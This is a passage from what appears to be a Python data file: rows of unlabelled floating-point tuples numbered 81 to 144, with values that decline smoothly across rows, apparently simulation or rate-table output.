(18.434113043478263, 15.256618548387095, 14.735343749999998, 15.876803396739131, 13.404705882352939, 6.48585, 6.3325588235294115, 5.202750000000001, 6.925574999999999, 3.0210776470588248, 2.36894066985646, 1.3513421052631582, 0.0, 18.079453124999997, 14.864763157894737, 11.844703349282298, 9.063232941176471, 13.851149999999999, 7.283850000000001, 6.3325588235294115, 4.63275, 6.7023529411764695, 5.292267798913045, 2.94706875, 1.3869653225806453, 0.0), # 81
(18.399993451422436, 15.189237415372364, 14.712800797325105, 15.846264356884058, 13.391083272815298, 6.475150594421583, 6.308156897326833, 5.179421124828533, 6.914381241426612, 3.011303480997338, 2.3617913964203443, 1.3482345318027582, 0.0, 18.058714313271608, 14.830579849830338, 11.80895698210172, 9.03391044299201, 13.828762482853223, 7.2511895747599455, 6.308156897326833, 4.625107567443988, 6.695541636407649, 5.2820881189613536, 2.9425601594650215, 1.3808397650338515, 0.0), # 82
(18.364054857756308, 15.121228086419752, 14.689884387860083, 15.8149611865942, 13.376705398208665, 6.463917306812986, 6.283554120413598, 5.156273319615913, 6.902974314128944, 3.001499569111596, 2.3544235158603586, 1.3450767092628693, 0.0, 18.036841242283952, 14.79584380189156, 11.772117579301792, 9.004498707334786, 13.805948628257887, 7.218782647462278, 6.283554120413598, 4.617083790580704, 6.688352699104333, 5.2716537288647345, 2.9379768775720168, 1.374657098765432, 0.0), # 83
(18.326379710144927, 15.052624731182796, 14.666600694444444, 15.78292214673913, 13.361601307189542, 6.452180864197532, 6.258760037348273, 5.133314814814815, 6.89136574074074, 2.9916661437908503, 2.3468500000000003, 1.3418703703703705, 0.0, 18.013880208333333, 14.760574074074073, 11.73425, 8.97499843137255, 13.78273148148148, 7.186640740740741, 6.258760037348273, 4.608700617283951, 6.680800653594771, 5.260974048913044, 2.933320138888889, 1.3684204301075271, 0.0), # 84
(18.287050456253354, 14.983461519315012, 14.642955889917694, 15.750175498188408, 13.345800048414427, 6.439971993598538, 6.233784192689422, 5.110553840877915, 6.879567043895747, 2.981803437424353, 2.3390838206627684, 1.338617247852141, 0.0, 17.989877507716052, 14.724789726373547, 11.69541910331384, 8.945410312273058, 13.759134087791494, 7.154775377229082, 6.233784192689422, 4.5999799954275264, 6.672900024207213, 5.250058499396137, 2.928591177983539, 1.362132865392274, 0.0), # 85
(18.246149543746643, 14.913772620469931, 14.618956147119343, 15.716749501811597, 13.32933067053982, 6.427321422039324, 6.208636130995608, 5.087998628257887, 6.86758974622771, 2.9719116824013563, 2.3311379496721605, 1.3353190744350594, 0.0, 17.964879436728395, 14.68850981878565, 11.655689748360802, 8.915735047204068, 13.73517949245542, 7.123198079561043, 6.208636130995608, 4.590943872885232, 6.66466533526991, 5.2389165006038665, 2.923791229423869, 1.3557975109518121, 0.0), # 86
(18.203759420289852, 14.843592204301075, 14.594607638888888, 15.68267241847826, 13.312222222222225, 6.41425987654321, 6.1833253968253965, 5.065657407407408, 6.855445370370372, 2.9619911111111112, 2.323025358851675, 1.3319775828460039, 0.0, 17.938932291666667, 14.651753411306041, 11.615126794258373, 8.885973333333332, 13.710890740740744, 7.091920370370371, 6.1833253968253965, 4.581614197530865, 6.656111111111112, 5.227557472826088, 2.9189215277777776, 1.3494174731182798, 0.0), # 87
(18.159962533548043, 14.772954440461966, 14.569916538065844, 15.647972509057974, 13.294503752118132, 6.400818084133517, 6.157861534737352, 5.043538408779149, 6.843145438957476, 2.952041955942871, 2.31475902002481, 1.328594505811855, 0.0, 17.912082368827164, 14.614539563930402, 11.573795100124048, 8.856125867828611, 13.686290877914953, 7.06095377229081, 6.157861534737352, 4.572012917238227, 6.647251876059066, 5.215990836352659, 2.913983307613169, 1.3429958582238153, 0.0), # 88
(18.11484133118626, 14.701893498606132, 14.544889017489714, 15.612678034420288, 13.276204308884047, 6.387026771833563, 6.132254089290037, 5.0216498628257895, 6.830701474622771, 2.942064449285888, 2.3063519050150636, 1.3251715760594904, 0.0, 17.884375964506173, 14.576887336654393, 11.531759525075316, 8.826193347857663, 13.661402949245542, 7.0303098079561055, 6.132254089290037, 4.562161979881116, 6.638102154442024, 5.2042260114734304, 2.908977803497943, 1.3365357726005578, 0.0), # 89
(18.068478260869565, 14.630443548387097, 14.519531250000002, 15.576817255434786, 13.257352941176471, 6.372916666666668, 6.106512605042017, 5.0, 6.818125, 2.9320588235294123, 2.2978169856459334, 1.3217105263157898, 0.0, 17.855859375, 14.538815789473684, 11.489084928229666, 8.796176470588236, 13.63625, 7.0, 6.106512605042017, 4.552083333333334, 6.6286764705882355, 5.192272418478263, 2.903906250000001, 1.3300403225806454, 0.0), # 90
(18.020955770263015, 14.558638759458383, 14.493849408436214, 15.540418432971018, 13.237978697651899, 6.35851849565615, 6.0806466265518555, 4.978597050754459, 6.80542753772291, 2.922025311062697, 2.2891672337409186, 1.3182130893076314, 0.0, 17.826578896604936, 14.500343982383942, 11.445836168704592, 8.76607593318809, 13.61085507544582, 6.9700358710562424, 6.0806466265518555, 4.541798925468679, 6.6189893488259495, 5.180139477657007, 2.898769881687243, 1.3235126144962168, 0.0), # 91
(17.97235630703167, 14.486513301473519, 14.467849665637862, 15.50350982789855, 13.218110626966835, 6.343862985825332, 6.054665698378118, 4.957449245541839, 6.7926206104252405, 2.9119641442749944, 2.2804156211235163, 1.3146809977618947, 0.0, 17.796580825617283, 14.46149097538084, 11.40207810561758, 8.735892432824983, 13.585241220850481, 6.940428943758574, 6.054665698378118, 4.531330704160951, 6.609055313483418, 5.167836609299518, 2.8935699331275724, 1.3169557546794108, 0.0), # 92
(17.92276231884058, 14.414101344086022, 14.441538194444446, 15.46611970108696, 13.197777777777777, 6.328980864197531, 6.0285793650793655, 4.936564814814815, 6.779715740740741, 2.9018755555555558, 2.2715751196172254, 1.3111159844054583, 0.0, 17.76591145833333, 14.422275828460037, 11.357875598086125, 8.705626666666666, 13.559431481481482, 6.911190740740742, 6.0285793650793655, 4.520700617283951, 6.598888888888888, 5.155373233695654, 2.888307638888889, 1.3103728494623659, 0.0), # 93
(17.872256253354806, 14.341437056949422, 14.414921167695475, 15.428276313405796, 13.177009198741224, 6.313902857796068, 6.002397171214165, 4.915951989026064, 6.766724451303155, 2.891759777293634, 2.2626587010455435, 1.3075197819652014, 0.0, 17.734617091049383, 14.382717601617212, 11.313293505227715, 8.675279331880901, 13.53344890260631, 6.88233278463649, 6.002397171214165, 4.509930612711477, 6.588504599370612, 5.1427587711352665, 2.882984233539095, 1.3037670051772203, 0.0), # 94
(17.820920558239397, 14.268554609717246, 14.388004758230455, 15.390007925724635, 13.155833938513677, 6.298659693644262, 5.97612866134108, 4.895618998628259, 6.753658264746228, 2.88161704187848, 2.253679337231969, 1.3038941231680024, 0.0, 17.70274402006173, 14.342835354848022, 11.268396686159845, 8.644851125635439, 13.507316529492456, 6.853866598079563, 5.97612866134108, 4.49904263831733, 6.577916969256838, 5.130002641908213, 2.8776009516460914, 1.2971413281561135, 0.0), # 95
(17.76883768115942, 14.195488172043014, 14.360795138888891, 15.351342798913045, 13.134281045751635, 6.283282098765432, 5.9497833800186735, 4.875574074074075, 6.740528703703703, 2.8714475816993468, 2.2446500000000005, 1.300240740740741, 0.0, 17.67033854166667, 14.30264814814815, 11.22325, 8.614342745098039, 13.481057407407405, 6.825803703703705, 5.9497833800186735, 4.488058641975309, 6.5671405228758175, 5.117114266304349, 2.8721590277777787, 1.2904989247311833, 0.0), # 96
(17.716090069779927, 14.12227191358025, 14.333298482510289, 15.31230919384058, 13.112379569111596, 6.267800800182899, 5.9233708718055125, 4.855825445816188, 6.727347290809328, 2.8612516291454857, 2.235583661173135, 1.2965613674102956, 0.0, 17.637446952160495, 14.262175041513249, 11.177918305865674, 8.583754887436456, 13.454694581618655, 6.798155624142662, 5.9233708718055125, 4.477000571559214, 6.556189784555798, 5.104103064613527, 2.8666596965020577, 1.2838429012345685, 0.0), # 97
(17.66276017176597, 14.048940003982477, 14.305520961934155, 15.27293537137681, 13.090158557250064, 6.252246524919983, 5.896900681260158, 4.83638134430727, 6.714125548696844, 2.851029416606149, 2.226493292574872, 1.2928577359035447, 0.0, 17.604115547839505, 14.22143509493899, 11.13246646287436, 8.553088249818446, 13.428251097393687, 6.770933882030178, 5.896900681260158, 4.465890374942845, 6.545079278625032, 5.090978457125605, 2.8611041923868314, 1.277176363998407, 0.0), # 98
(17.608930434782607, 13.975526612903225, 14.277468750000002, 15.233249592391303, 13.067647058823532, 6.23665, 5.870382352941177, 4.8172500000000005, 6.700875, 2.8407811764705886, 2.2173918660287084, 1.2891315789473687, 0.0, 17.570390625, 14.180447368421053, 11.086959330143541, 8.522343529411764, 13.40175, 6.744150000000001, 5.870382352941177, 4.45475, 6.533823529411766, 5.0777498641304355, 2.8554937500000004, 1.2705024193548389, 0.0), # 99
(17.5546833064949, 13.902065909996015, 14.249148019547325, 15.193280117753623, 13.044874122488501, 6.2210419524462734, 5.843825431407131, 4.798439643347051, 6.687607167352539, 2.8305071411280567, 2.2082923533581433, 1.285384629268645, 0.0, 17.536318479938274, 14.139230921955095, 11.041461766790714, 8.49152142338417, 13.375214334705078, 6.717815500685871, 5.843825431407131, 4.443601394604481, 6.522437061244251, 5.064426705917875, 2.8498296039094653, 1.2638241736360014, 0.0), # 100
(17.500101234567904, 13.828592064914377, 14.22056494341564, 15.153055208333335, 13.021868796901476, 6.205453109282122, 5.817239461216586, 4.7799585048010975, 6.674333573388203, 2.820207542967805, 2.1992077263866743, 1.281618619594253, 0.0, 17.501945408950615, 14.097804815536781, 10.99603863193337, 8.460622628903414, 13.348667146776407, 6.691941906721536, 5.817239461216586, 4.432466506630087, 6.510934398450738, 5.051018402777779, 2.8441129886831282, 1.2571447331740344, 0.0), # 101
(17.44526666666667, 13.755139247311828, 14.191725694444445, 15.112603125, 12.998660130718955, 6.189914197530865, 5.790633986928105, 4.761814814814815, 6.66106574074074, 2.809882614379086, 2.1901509569377993, 1.2778352826510724, 0.0, 17.467317708333336, 14.056188109161795, 10.950754784688995, 8.429647843137257, 13.32213148148148, 6.666540740740741, 5.790633986928105, 4.421367283950618, 6.499330065359477, 5.037534375000001, 2.838345138888889, 1.2504672043010754, 0.0), # 102
(17.390262050456254, 13.681741626841896, 14.16263644547325, 15.071952128623188, 12.975277172597433, 6.174455944215821, 5.764018553100253, 4.7440168038408785, 6.647815192043895, 2.7995325877511505, 2.181135016835017, 1.2740363511659811, 0.0, 17.432481674382714, 14.014399862825789, 10.905675084175085, 8.39859776325345, 13.29563038408779, 6.64162352537723, 5.764018553100253, 4.410325674439872, 6.487638586298717, 5.023984042874397, 2.8325272890946502, 1.2437946933492634, 0.0), # 103
(17.335169833601718, 13.608433373158105, 14.133303369341563, 15.031130480072465, 12.951748971193414, 6.159109076360311, 5.737402704291593, 4.7265727023319615, 6.634593449931413, 2.7891576954732518, 2.1721728779018252, 1.2702235578658583, 0.0, 17.397483603395063, 13.972459136524439, 10.860864389509127, 8.367473086419754, 13.269186899862826, 6.617201783264746, 5.737402704291593, 4.399363625971651, 6.475874485596707, 5.010376826690822, 2.826660673868313, 1.237130306650737, 0.0), # 104
(17.280072463768114, 13.535248655913978, 14.103732638888891, 14.99016644021739, 12.928104575163397, 6.143904320987655, 5.710795985060692, 4.709490740740741, 6.621412037037037, 2.7787581699346413, 2.1632775119617227, 1.2663986354775831, 0.0, 17.362369791666666, 13.930384990253412, 10.816387559808613, 8.336274509803923, 13.242824074074074, 6.5932870370370384, 5.710795985060692, 4.388503086419754, 6.464052287581699, 4.996722146739131, 2.820746527777778, 1.2304771505376346, 0.0), # 105
(17.225052388620504, 13.462221644763043, 14.073930426954732, 14.949088269927536, 12.904373033163882, 6.128872405121171, 5.68420793996611, 4.6927791495198905, 6.608282475994512, 2.7683342435245706, 2.1544618908382067, 1.2625633167280343, 0.0, 17.327186535493826, 13.888196484008375, 10.772309454191033, 8.30500273057371, 13.216564951989024, 6.5698908093278465, 5.68420793996611, 4.377766003657979, 6.452186516581941, 4.98302942330918, 2.8147860853909465, 1.223838331342095, 0.0), # 106
(17.17019205582394, 13.389386509358822, 14.043902906378605, 14.907924230072464, 12.880583393851367, 6.114044055784181, 5.657648113566415, 4.6764461591220865, 6.595216289437586, 2.7578861486322928, 2.145738986354776, 1.2587193343440908, 0.0, 17.29198013117284, 13.845912677784996, 10.728694931773878, 8.273658445896878, 13.190432578875171, 6.547024622770921, 5.657648113566415, 4.367174325560129, 6.440291696925684, 4.969308076690822, 2.808780581275721, 1.2172169553962566, 0.0), # 107
(17.11557391304348, 13.31677741935484, 14.013656250000002, 14.866702581521741, 12.856764705882352, 6.099450000000001, 5.631126050420168, 4.660500000000001, 6.582225000000001, 2.7474141176470597, 2.1371217703349283, 1.2548684210526317, 0.0, 17.256796875000003, 13.803552631578947, 10.685608851674642, 8.242242352941178, 13.164450000000002, 6.524700000000001, 5.631126050420168, 4.356750000000001, 6.428382352941176, 4.955567527173915, 2.8027312500000003, 1.2106161290322583, 0.0), # 108
(17.061280407944178, 13.24442854440462, 13.983196630658439, 14.825451585144926, 12.832946017913338, 6.085120964791952, 5.604651295085936, 4.644948902606311, 6.569320130315501, 2.736918382958122, 2.1286232146021624, 1.2510123095805359, 0.0, 17.221683063271605, 13.761135405385891, 10.64311607301081, 8.210755148874364, 13.138640260631002, 6.502928463648835, 5.604651295085936, 4.346514974851394, 6.416473008956669, 4.941817195048309, 2.796639326131688, 1.2040389585822384, 0.0), # 109
(17.007393988191087, 13.17237405416169, 13.95253022119342, 14.784199501811596, 12.809156378600825, 6.071087677183356, 5.57823339212228, 4.62980109739369, 6.556513203017833, 2.726399176954733, 2.120256290979975, 1.2471527326546823, 0.0, 17.18668499228395, 13.718680059201501, 10.601281454899876, 8.179197530864197, 13.113026406035665, 6.4817215363511655, 5.57823339212228, 4.336491197988112, 6.404578189300413, 4.928066500603866, 2.790506044238684, 1.1974885503783357, 0.0), # 110
(16.953997101449275, 13.10064811827957, 13.921663194444447, 14.742974592391306, 12.785424836601308, 6.0573808641975315, 5.551881886087768, 4.615064814814815, 6.543815740740741, 2.715856732026144, 2.1120339712918663, 1.2432914230019496, 0.0, 17.151848958333336, 13.676205653021444, 10.56016985645933, 8.147570196078432, 13.087631481481482, 6.461090740740741, 5.551881886087768, 4.326700617283951, 6.392712418300654, 4.914324864130436, 2.78433263888889, 1.1909680107526885, 0.0), # 111
(16.90117219538379, 13.029284906411787, 13.890601723251033, 14.701805117753622, 12.76178044057129, 6.044031252857797, 5.5256063215409625, 4.60074828532236, 6.531239266117969, 2.7052912805616076, 2.103969227361333, 1.2394301133492167, 0.0, 17.11722125771605, 13.633731246841382, 10.519846136806663, 8.115873841684822, 13.062478532235938, 6.441047599451304, 5.5256063215409625, 4.3171651806127125, 6.380890220285645, 4.900601705917875, 2.778120344650207, 1.1844804460374354, 0.0), # 112
(16.84890760266548, 12.958437720996821, 13.859426742378105, 14.660775741364255, 12.738210816208445, 6.03106325767524, 5.499473367291093, 4.586889426585454, 6.518827686755172, 2.694737131475729, 2.0960771718458604, 1.2355789404756645, 0.0, 17.0827990215178, 13.591368345232306, 10.480385859229301, 8.084211394427186, 13.037655373510344, 6.421645197219636, 5.499473367291093, 4.307902326910885, 6.369105408104223, 4.886925247121419, 2.7718853484756214, 1.178039792817893, 0.0), # 113
(16.796665616220118, 12.888805352817133, 13.828568512532428, 14.620215718724406, 12.71447202547959, 6.018447338956397, 5.473816387569522, 4.57365844462884, 6.506771421427836, 2.684391825560753, 2.0883733011339594, 1.2317868258169462, 0.0, 17.048295745488062, 13.549655083986407, 10.441866505669795, 8.053175476682258, 13.013542842855673, 6.403121822480377, 5.473816387569522, 4.298890956397426, 6.357236012739795, 4.873405239574803, 2.7657137025064857, 1.1717095775288306, 0.0), # 114
(16.744292825407193, 12.820412877827026, 13.798045399060976, 14.580114081995404, 12.690489213466321, 6.006150688123703, 5.448653685172405, 4.561051990709032, 6.495074987201274, 2.674271397594635, 2.0808463534281283, 1.2280556373838278, 0.0, 17.013611936988678, 13.508612011222104, 10.404231767140642, 8.022814192783905, 12.990149974402549, 6.385472786992645, 5.448653685172405, 4.290107634374073, 6.345244606733161, 4.860038027331802, 2.7596090798121957, 1.165492079802457, 0.0), # 115
(16.691723771827743, 12.753160664131308, 13.767798284975811, 14.540399302859647, 12.666226231660534, 5.994144321151453, 5.423944335775104, 4.549035234674245, 6.483708803536698, 2.6643570113022967, 2.0734817793814444, 1.224378479623102, 0.0, 16.978693067560602, 13.46816327585412, 10.367408896907222, 7.9930710339068884, 12.967417607073395, 6.368649328543944, 5.423944335775104, 4.281531657965324, 6.333113115830267, 4.846799767619883, 2.7535596569951624, 1.1593782421937553, 0.0), # 116
(16.63889299708279, 12.686949079834788, 13.73776805328898, 14.50099985299953, 12.641646931554131, 5.982399254013936, 5.399647415052978, 4.537573346372689, 6.472643289895322, 2.6546298304086586, 2.0662650296469853, 1.2207484569815625, 0.0, 16.943484608744804, 13.428233026797187, 10.331325148234924, 7.963889491225975, 12.945286579790643, 6.352602684921765, 5.399647415052978, 4.2731423242956685, 6.320823465777066, 4.833666617666511, 2.747553610657796, 1.1533590072577082, 0.0), # 117
(16.58573504277338, 12.621678493042284, 13.707895587012551, 14.461844204097451, 12.616715164639011, 5.970886502685445, 5.375721998681383, 4.526631495652572, 6.461848865738361, 2.6450710186386424, 2.0591815548778274, 1.2171586739060027, 0.0, 16.907932032082243, 13.388745412966028, 10.295907774389137, 7.935213055915925, 12.923697731476722, 6.337284093913602, 5.375721998681383, 4.264918930489604, 6.3083575823195055, 4.820614734699151, 2.74157911740251, 1.1474253175492988, 0.0), # 118
(16.532184450500534, 12.557249271858602, 13.678121769158587, 14.422860827835802, 12.591394782407065, 5.9595770831402755, 5.35212716233568, 4.516174852362109, 6.451295950527026, 2.6356617397171678, 2.0522168057270487, 1.2136022348432152, 0.0, 16.87198080911388, 13.349624583275366, 10.261084028635242, 7.906985219151502, 12.902591901054052, 6.322644793306953, 5.35212716233568, 4.256840773671625, 6.295697391203532, 4.807620275945268, 2.7356243538317178, 1.1415681156235096, 0.0), # 119
(16.47817576186529, 12.49356178438856, 13.648387482739144, 14.383978195896983, 12.565649636350196, 5.948442011352714, 5.3288219816912274, 4.506168586349507, 6.440954963722534, 2.626383157369158, 2.045356232847725, 1.2100722442399947, 0.0, 16.835576411380675, 13.31079468663994, 10.226781164238623, 7.879149472107472, 12.881909927445069, 6.308636020889311, 5.3288219816912274, 4.248887150966224, 6.282824818175098, 4.794659398632328, 2.7296774965478288, 1.1357783440353237, 0.0), # 120
(16.423643518468683, 12.430516398736968, 13.618633610766281, 14.345124779963385, 12.539443577960302, 5.937452303297058, 5.305765532423383, 4.49657786746298, 6.430796324786099, 2.6172164353195337, 2.038585286892935, 1.2065618065431336, 0.0, 16.79866431042359, 13.272179871974467, 10.192926434464676, 7.8516493059586, 12.861592649572199, 6.295209014448172, 5.305765532423383, 4.2410373594978985, 6.269721788980151, 4.781708259987796, 2.7237267221532564, 1.1300469453397246, 0.0), # 121
(16.36852226191174, 12.368013483008635, 13.588801036252066, 14.306229051717406, 12.51274045872928, 5.926578974947596, 5.282916890207506, 4.487367865550737, 6.420790453178933, 2.6081427372932153, 2.0318894185157554, 1.2030640261994254, 0.0, 16.761189977783587, 13.233704288193676, 10.159447092578777, 7.824428211879645, 12.841580906357866, 6.282315011771032, 5.282916890207506, 4.2332706963911395, 6.25637022936464, 4.768743017239136, 2.7177602072504135, 1.1243648620916942, 0.0), # 122
(16.312746533795494, 12.305953405308378, 13.558830642208555, 14.267219482841437, 12.485504130149028, 5.915793042278621, 5.260235130718955, 4.478503750460988, 6.410907768362252, 2.5991432270151247, 2.0252540783692634, 1.1995720076556633, 0.0, 16.72309888500163, 13.195292084212294, 10.126270391846315, 7.797429681045372, 12.821815536724504, 6.269905250645383, 5.260235130718955, 4.225566458770444, 6.242752065074514, 4.755739827613813, 2.711766128441711, 1.1187230368462162, 0.0), # 123
(16.256250875720976, 12.244236533741004, 13.528663311647806, 14.228024545017881, 12.457698443711445, 5.905065521264426, 5.237679329633088, 4.469950692041945, 6.401118689797269, 2.590199068210183, 2.018664717106536, 1.1960788553586414, 0.0, 16.68433650361868, 13.156867408945052, 10.09332358553268, 7.770597204630548, 12.802237379594539, 6.257930968858723, 5.237679329633088, 4.217903943760304, 6.2288492218557225, 4.742674848339295, 2.7057326623295617, 1.1131124121582732, 0.0), # 124
(16.198969829289226, 12.18276323641133, 13.498239927581887, 14.188572709929128, 12.429287250908427, 5.894367427879304, 5.215208562625265, 4.461673860141818, 6.391393636945196, 2.5812914246033105, 2.012106785380651, 1.1925776737551523, 0.0, 16.644848305175692, 13.118354411306674, 10.060533926903252, 7.74387427380993, 12.782787273890392, 6.246343404198546, 5.215208562625265, 4.210262448485217, 6.2146436254542134, 4.7295242366430434, 2.6996479855163775, 1.1075239305828484, 0.0), # 125
(16.14083793610127, 12.121433881424165, 13.46750137302285, 14.148792449257574, 12.400234403231872, 5.883669778097547, 5.192781905370843, 4.453638424608819, 6.381703029267251, 2.57240145991943, 2.005565733844684, 1.1890615672919902, 0.0, 16.604579761213643, 13.079677240211891, 10.02782866922342, 7.717204379758288, 12.763406058534501, 6.235093794452347, 5.192781905370843, 4.202621270069677, 6.200117201615936, 4.716264149752526, 2.69350027460457, 1.1019485346749243, 0.0), # 126
(16.08178973775815, 12.06014883688432, 13.436388530982757, 14.108612234685616, 12.370503752173677, 5.872943587893444, 5.170358433545185, 4.445809555291159, 6.3720172862246445, 2.563510337883461, 1.9990270131517138, 1.1855236404159475, 0.0, 16.56347634327348, 13.040760044575421, 9.99513506575857, 7.690531013650382, 12.744034572449289, 6.224133377407623, 5.170358433545185, 4.194959705638174, 6.185251876086839, 4.702870744895206, 2.6872777061965514, 1.0963771669894837, 0.0), # 127
(16.021759775860883, 11.998808470896611, 13.404842284473675, 14.06796053789565, 12.340059149225747, 5.862159873241292, 5.147897222823644, 4.438152422037048, 6.362306827278591, 2.554599222220326, 1.9924760739548175, 1.1819569975738184, 0.0, 16.521483522896165, 13.001526973312, 9.962380369774086, 7.663797666660978, 12.724613654557182, 6.2134133908518665, 5.147897222823644, 4.187257052315209, 6.170029574612873, 4.689320179298551, 2.680968456894735, 1.0908007700815103, 0.0), # 128
(15.960682592010507, 11.937313151565847, 13.37280351650766, 14.026765830570064, 12.308864445879973, 5.85128965011538, 5.125357348881582, 4.430632194694696, 6.352542071890305, 2.5456492766549457, 1.9858983669070716, 1.1783547432123955, 0.0, 16.478546771622668, 12.96190217533635, 9.929491834535357, 7.636947829964836, 12.70508414378061, 6.202885072572574, 5.125357348881582, 4.179492607225272, 6.154432222939986, 4.675588610190022, 2.6745607033015326, 1.0852102865059863, 0.0), # 129
(15.89849272780806, 11.875563246996844, 13.34021311009677, 13.984956584391266, 12.276883493628256, 5.840303934489999, 5.102697887394356, 4.423214043112313, 6.342693439521001, 2.536641664912241, 1.9792793426615536, 1.174709981778473, 0.0, 16.434611560993947, 12.921809799563201, 9.896396713307768, 7.609924994736723, 12.685386879042001, 6.192499660357238, 5.102697887394356, 4.171645667492856, 6.138441746814128, 4.66165219479709, 2.668042622019354, 1.0795966588178951, 0.0), # 130
(15.83512472485457, 11.81345912529441, 13.307011948253072, 13.942461271041642, 12.244080143962494, 5.829173742339445, 5.079877914037328, 4.415863137138113, 6.332731349631892, 2.527557550717134, 1.9726044518713404, 1.1710158177188439, 0.0, 16.38962336255096, 12.88117399490728, 9.863022259356702, 7.5826726521514, 12.665462699263784, 6.182208391993358, 5.079877914037328, 4.16369553024246, 6.122040071981247, 4.647487090347215, 2.6614023896506143, 1.073950829572219, 0.0), # 131
(15.770513124751067, 11.750901154563357, 13.27314091398862, 13.899208362203591, 12.210418248374584, 5.817870089638008, 5.056856504485853, 4.408544646620305, 6.322626221684192, 2.5183780977945447, 1.9658591451895095, 1.1672653554803014, 0.0, 16.343527647834676, 12.839918910283313, 9.829295725947548, 7.555134293383633, 12.645252443368385, 6.171962505268427, 5.056856504485853, 4.155621492598577, 6.105209124187292, 4.633069454067865, 2.654628182797724, 1.0682637413239418, 0.0), # 132
(15.704592469098595, 11.687789702908498, 13.238540890315475, 13.855126329559509, 12.175861658356425, 5.80636399235998, 5.03359273441529, 4.4012237414071, 6.312348475139116, 2.509084469869395, 1.9590288732691383, 1.1634516995096391, 0.0, 16.296269888386057, 12.797968694606027, 9.795144366345692, 7.527253409608184, 12.624696950278231, 6.1617132379699395, 5.03359273441529, 4.1474028516857, 6.087930829178212, 4.618375443186504, 2.647708178063095, 1.0625263366280455, 0.0), # 133
(15.63729729949817, 11.624025138434646, 13.203152760245707, 13.81014364479179, 12.14037422539991, 5.794626466479654, 5.010045679501001, 4.3938655913467075, 6.301868529457877, 2.499657830666606, 1.952099086763304, 1.1595679542536501, 0.0, 16.24779555574605, 12.755247496790147, 9.76049543381652, 7.498973491999817, 12.603737058915755, 6.151411827885391, 5.010045679501001, 4.139018904628324, 6.070187112699955, 4.6033812149305975, 2.6406305520491418, 1.0567295580395135, 0.0), # 134
(15.568562157550836, 11.559507829246614, 13.166917406791363, 13.764188779582833, 12.103919800996945, 5.7826285279713225, 4.986174415418341, 4.3864353662873405, 6.291156804101687, 2.4900793439110998, 1.945055236325083, 1.155607224159128, 0.0, 16.198050121455637, 12.711679465750406, 9.725276181625414, 7.470238031733298, 12.582313608203375, 6.141009512802277, 4.986174415418341, 4.130448948550945, 6.051959900498472, 4.588062926527612, 2.633383481358273, 1.0508643481133288, 0.0), # 135
(15.498321584857623, 11.494138143449213, 13.129775712964513, 13.717190205615022, 12.066462236639419, 5.770341192809277, 4.961938017842671, 4.378898236077208, 6.280183718531764, 2.4803301733277956, 1.9378827726075534, 1.1515626136728663, 0.0, 16.146979057055766, 12.667188750401527, 9.689413863037766, 7.4409905199833855, 12.560367437063528, 6.130457530508091, 4.961938017842671, 4.121672280578055, 6.033231118319709, 4.572396735205008, 2.6259551425929026, 1.044921649404474, 0.0), # 136
(15.426510123019561, 11.427816449147253, 13.091668561777217, 13.66907639457077, 12.02796538381924, 5.757735476967808, 4.93729556244935, 4.371219370564522, 6.2689196922093195, 2.4703914826416162, 1.930567146263792, 1.1474272272416581, 0.0, 16.094527834087398, 12.621699499658236, 9.652835731318959, 7.411174447924847, 12.537839384418639, 6.119707118790331, 4.93729556244935, 4.112668197834148, 6.01398269190962, 4.556358798190257, 2.6183337123554433, 1.0388924044679322, 0.0), # 137
(15.353062313637686, 11.360443114445548, 13.052536836241526, 13.619775818132457, 11.988393094028304, 5.744782396421213, 4.912206124913734, 4.363363939597493, 6.257335144595569, 2.4602444355774815, 1.9230938079468758, 1.143194169312297, 0.0, 16.040641924091503, 12.575135862435264, 9.615469039734378, 7.380733306732443, 12.514670289191137, 6.10870951543649, 4.912206124913734, 4.103415997443723, 5.994196547014152, 4.5399252727108195, 2.6105073672483052, 1.0327675558586864, 0.0), # 138
(15.277912698313022, 11.29191850744891, 13.01232141936951, 13.569216947982484, 11.947709218758497, 5.731452967143778, 4.886628780911184, 4.355297113024331, 6.245400495151722, 2.449870195860314, 1.9154482083098823, 1.1388565443315761, 0.0, 15.985266798609034, 12.527421987647335, 9.577241041549412, 7.3496105875809405, 12.490800990303445, 6.0974159582340635, 4.886628780911184, 4.093894976531271, 5.973854609379249, 4.523072315994162, 2.602464283873902, 1.0265380461317193, 0.0), # 139
(15.200995818646616, 11.22214299626215, 12.970963194173232, 13.51732825580325, 11.905877609501736, 5.717718205109798, 4.860522606117057, 4.346984060693248, 6.233086163338999, 2.439249927215034, 1.9076157980058883, 1.134407456746289, 0.0, 15.928347929180966, 12.478482024209175, 9.538078990029442, 7.3177497816451, 12.466172326677999, 6.085777684970546, 4.860522606117057, 4.084084432221284, 5.952938804750868, 4.505776085267751, 2.5941926388346466, 1.020194817842014, 0.0), # 140
(15.122246216239494, 11.151016948990085, 12.92840304366474, 13.464038213277146, 11.862862117749902, 5.7035491262935665, 4.833846676206716, 4.338389952452453, 6.220362568618608, 2.4283647933665637, 1.8995820276879718, 1.129840011003229, 0.0, 15.869830787348244, 12.428240121035515, 9.497910138439858, 7.2850943800996895, 12.440725137237216, 6.073745933433434, 4.833846676206716, 4.0739636616382615, 5.931431058874951, 4.48801273775905, 2.5856806087329485, 1.0137288135445532, 0.0), # 141
(15.041598432692682, 11.07844073373752, 12.884581850856106, 13.409275292086573, 11.818626594994903, 5.688916746669374, 4.806560066855513, 4.329479958150158, 6.207200130451765, 2.417195958039823, 1.8913323480092095, 1.1251473115491895, 0.0, 15.80966084465184, 12.37662042704108, 9.456661740046046, 7.251587874119467, 12.41440026090353, 6.061271941410222, 4.806560066855513, 4.063511961906696, 5.909313297497452, 4.469758430695525, 2.5769163701712214, 1.00713097579432, 0.0), # 142
(14.958987009607215, 11.004314718609267, 12.839440498759389, 13.352967963913915, 11.773134892728635, 5.673792082211512, 4.778621853738811, 4.320219247634575, 6.1935692682996875, 2.405724584959734, 1.8828522096226783, 1.1203224628309636, 0.0, 15.747783572632711, 12.323547091140597, 9.41426104811339, 7.217173754879202, 12.387138536599375, 6.048306946688404, 4.778621853738811, 4.05270863015108, 5.886567446364317, 4.45098932130464, 2.5678880997518783, 1.0003922471462972, 0.0), # 143
(14.874346488584132, 10.928539271710147, 12.792919870386642, 13.29504470044158, 11.726350862442994, 5.658146148894274, 4.749991112531969, 4.310572990753912, 6.1794404016235855, 2.3939318378512175, 1.8741270631814555, 1.115358569295345, 0.0, 15.684144442831826, 12.268944262248793, 9.370635315907277, 7.181795513553651, 12.358880803247171, 6.034802187055478, 4.749991112531969, 4.04153296349591, 5.863175431221497, 4.431681566813861, 2.5585839740773286, 0.993503570155468, 0.0), # 144
